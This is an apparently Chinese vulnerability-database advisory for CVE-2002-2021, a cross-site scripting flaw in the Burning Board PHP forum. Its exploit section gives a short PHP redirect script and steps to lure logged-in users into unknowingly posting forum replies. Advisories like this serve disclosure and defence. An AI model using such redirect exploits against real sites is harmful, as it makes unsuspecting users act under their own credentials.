Burning Board跨站脚本执行漏洞

Burning Board跨站脚本执行漏洞

漏洞ID 1106683 漏洞类型 输入验证
发布时间 2002-04-15 更新时间 2005-10-20
图片[1]-Burning Board跨站脚本执行漏洞-安全小百科CVE编号 CVE-2002-2021
图片[2]-Burning Board跨站脚本执行漏洞-安全小百科CNNVD-ID CNNVD-200212-095
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/21380
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-095
|漏洞详情
BurningBoard是一款由PHP编写,MySQL后台支持的WEB论坛程序,可运行在Unix和Linux操作系统下,也可以运行在Microsoftwindows操作系统下。BurningBoard对用户提交的URL参数缺少正确的检查,可导致远程攻击者进行跨站脚本执行攻击。攻击者可以创建一个链接,在此链接的中插入恶意的参数并提交到论坛上,可以导致点击此链接用户以自己的权限执行恶意的操作。用户必须通过基于Cookie的登录认证,才能执行正常的操作,恶意链接中可以包括BBCode。
|漏洞EXP
source: http://www.securityfocus.com/bid/4512/info

Burning Board is web forum software. It is written in PHP, back-ended by MySQL, and will run on most Unix and Linux variants as well as Microsoft Windows.

An attacker may allegedly create a malicious link which is capable of causing actions to be performed on the behalf of a legitimate Burning Board user who visits the link. To exploit this vulnerability, the attacker must manipulate URL parameters in the malicious link in such a way as to cause the desired actions to be performed by a user who visits the link. The legitimate forum user must also be authenticated via a cookie-based authentication credential. The malicious link may include BBCode.

It has been reported, but not confirmed, that other web forum software (such as phpBB) may also be affected by this vulnerability. 

1. Create a script exploit.php

exploit.php // with php U can dynamicaly redirect to the same treads & boardid (parsing $HTTP_REFERER)
<?php
header ("Location:
http://localhost/wbboard/reply.php?threadid=7&boardid=58&action=send&subject=check%20this%20out&message=test[IMG]http://localhost/~seazon/art/
eros/236.jpg[/IMG]&signature=1"); /* Redirect browser*/
?>


2.Register in forum
3.Send a message like this
"Hey, I know how to exploit this forum [URL]http://host.com/exploit.php[/URL]"
|参考资料

来源:BID
名称:4512
链接:http://www.securityfocus.com/bid/4512
来源:XF
名称:burningboard-bbs-css(8841)
链接:http://www.iss.net/security_center/static/8841.php
来源:BUGTRAQ
名称:20020413wbboard1.1.1CrossSiteScriptingVulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2002-04/0163.html
来源:NSFOCUS
名称:2602
链接:http://www.nsfocus.net/vulndb/2602

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